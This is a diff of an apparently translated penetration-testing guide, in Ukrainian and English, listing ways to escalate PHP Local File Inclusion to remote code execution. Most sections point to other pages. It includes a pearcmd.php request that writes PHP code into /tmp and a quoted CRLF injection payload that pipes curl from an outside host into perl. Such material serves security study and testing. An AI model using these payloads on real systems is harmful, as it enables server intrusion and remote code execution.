Завантажте файл, який буде збережено тимчасово в `/tmp`, потім у **тому ж запиті** викличте **segmentation fault**, після чого тимчасовий файл не буде видалено і ви зможете його знайти. **Upload** файл, який буде збережений як **temporary** в `/tmp`, потім в **same request,** спричиніть **segmentation fault**, після чого **temporary file won't be deleted** і ви зможете його знайти.
{{#ref}} {{#ref}}
lfi2rce-via-segmentation-fault.md lfi2rce-via-segmentation-fault.md
{{#endref}} {{#endref}}
### Через тимчасове збереження файлів Nginx ### Через Nginx temp file storage
Якщо ви виявили **Local File Inclusion** і **Nginx** працює перед PHP, ви можете отримати RCE за допомогою наступної техніки: Якщо ви знайшли **Local File Inclusion** і **Nginx** працює перед PHP, ви можете отримати RCE за допомогою наступної техніки:
{{#ref}} {{#ref}}
@ -597,16 +597,16 @@ lfi2rce-via-nginx-temp-files.md
### Через PHP_SESSION_UPLOAD_PROGRESS ### Через PHP_SESSION_UPLOAD_PROGRESS
Якщо ви знайшли **Local File Inclusion**, навіть якщо у вас **немає сесії** і `session.auto_start` встановлено в `Off`. Якщо ви вкажете **`PHP_SESSION_UPLOAD_PROGRESS`** у даних **multipart POST**, PHP **увімкне сесію за вас**. Це можна використати для отримання RCE: Якщо ви знайшли **Local File Inclusion**, навіть якщо у вас **don't have a session** і `session.auto_start` встановлено в `Off`. Якщо ви вкажете **`PHP_SESSION_UPLOAD_PROGRESS`** в **multipart POST** даних, PHP **enable the session for you**. Ви можете зловживати цим, щоб отримати RCE:
{{#ref}} {{#ref}}
via-php_session_upload_progress.md via-php_session_upload_progress.md
{{#endref}} {{#endref}}
### Через тимчасові завантаження файлів у Windows ### Через temp file uploads in Windows
Якщо ви знайшли **Local File Inclusion** і сервер працює на **Windows**, можливо ви отримаєте RCE: Якщо ви знайшли **Local File Inclusion** і сервер працює на **Windows**, ви можете отримати RCE:
{{#ref}} {{#ref}}
@ -615,13 +615,13 @@ lfi2rce-via-temp-file-uploads.md
### Через `pearcmd.php` + URL args ### Через `pearcmd.php` + URL args
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), скрипт `/usr/local/lib/phppearcmd.php` присутній за замовчуванням у php docker images. Більш того, аргументи можна передавати скрипту через URL, оскільки вказано, що якщо параметр URL не має `=`, він має використовуватися як аргумент. Див. також [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) та [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), скрипт `/usr/local/lib/phppearcmd.php` існує за замовчуванням в php docker images. Більше того, можливо передавати аргументи скрипту через URL, оскільки зазначено, що якщо URL параметр не має `=`, він має використовуватися як аргумент. Див. також [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) і [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`: The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
```bash ```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1 GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
``` ```
Наведене експлуатує CRLF vuln для отримання RCE (з [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): Наведено приклад зловживання CRLF vuln для отримання RCE (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
``` ```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@ -630,7 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
``` ```
### Через phpinfo() (file_uploads = on) ### Через phpinfo() (file_uploads = on)
Якщо ви знайшли **Local File Inclusion** і файл, що викликає **phpinfo()** з file_uploads = on, ви можете отримати RCE: Якщо ви знайшли **Local File Inclusion** і файл, який показує **phpinfo()** з file_uploads = on, ви можете отримати RCE:
{{#ref}} {{#ref}}
@ -639,7 +639,7 @@ lfi2rce-via-phpinfo.md
### Через compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure ### Через compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Якщо ви знайшли **Local File Inclusion** і ви **can exfiltrate the path** тимчасового файлу, АЛЕ **server** **checking**, чи **file to be included has PHP marks**, ви можете спробувати **bypass that check** за допомогою цієї **Race Condition**: Якщо ви знайшли **Local File Inclusion** і ви **can exfiltrate the path** тимчасового файлу, АЛЕ **сервер** **перевіряє**, чи **файл для включення має PHP-маркування**, ви можете спробувати **bypass that check** за допомогою цієї **Race Condition**:
{{#ref}} {{#ref}}
@ -648,7 +648,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### Через eternal waiting + bruteforce ### Через eternal waiting + bruteforce
Якщо ви можете зловживати LFI, щоб **upload temporary files** і змусити **server** **hang** виконання PHP, ви тоді можете **brute force filenames during hours**, щоб знайти тимчасовий файл: Якщо ви можете зловживати LFI, щоб **завантажувати тимчасові файли** і змусити сервер **повісити** виконання PHP, ви потім можете **brute force filenames during hours**, щоб знайти тимчасовий файл:
{{#ref}} {{#ref}}
@ -657,13 +657,14 @@ lfi2rce-via-eternal-waiting.md
### До Fatal Error ### До Fatal Error
Якщо ви включите будь-який з файлів `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Потрібно включити той самий файл 2 рази, щоб викликати цю помилку). Якщо ви включите будь-який з файлів `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Потрібно включити той самий файл двічі, щоб викликати цю помилку).
**I don't know how is this useful but it might be.**\ **Я не знаю, наскільки це корисно, але можливо, що може бути.**\
_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._ _Навіть якщо ви спричините PHP Fatal Error, тимчасові PHP-файли, які були завантажені, видаляються._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## Посилання ## Посилання
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)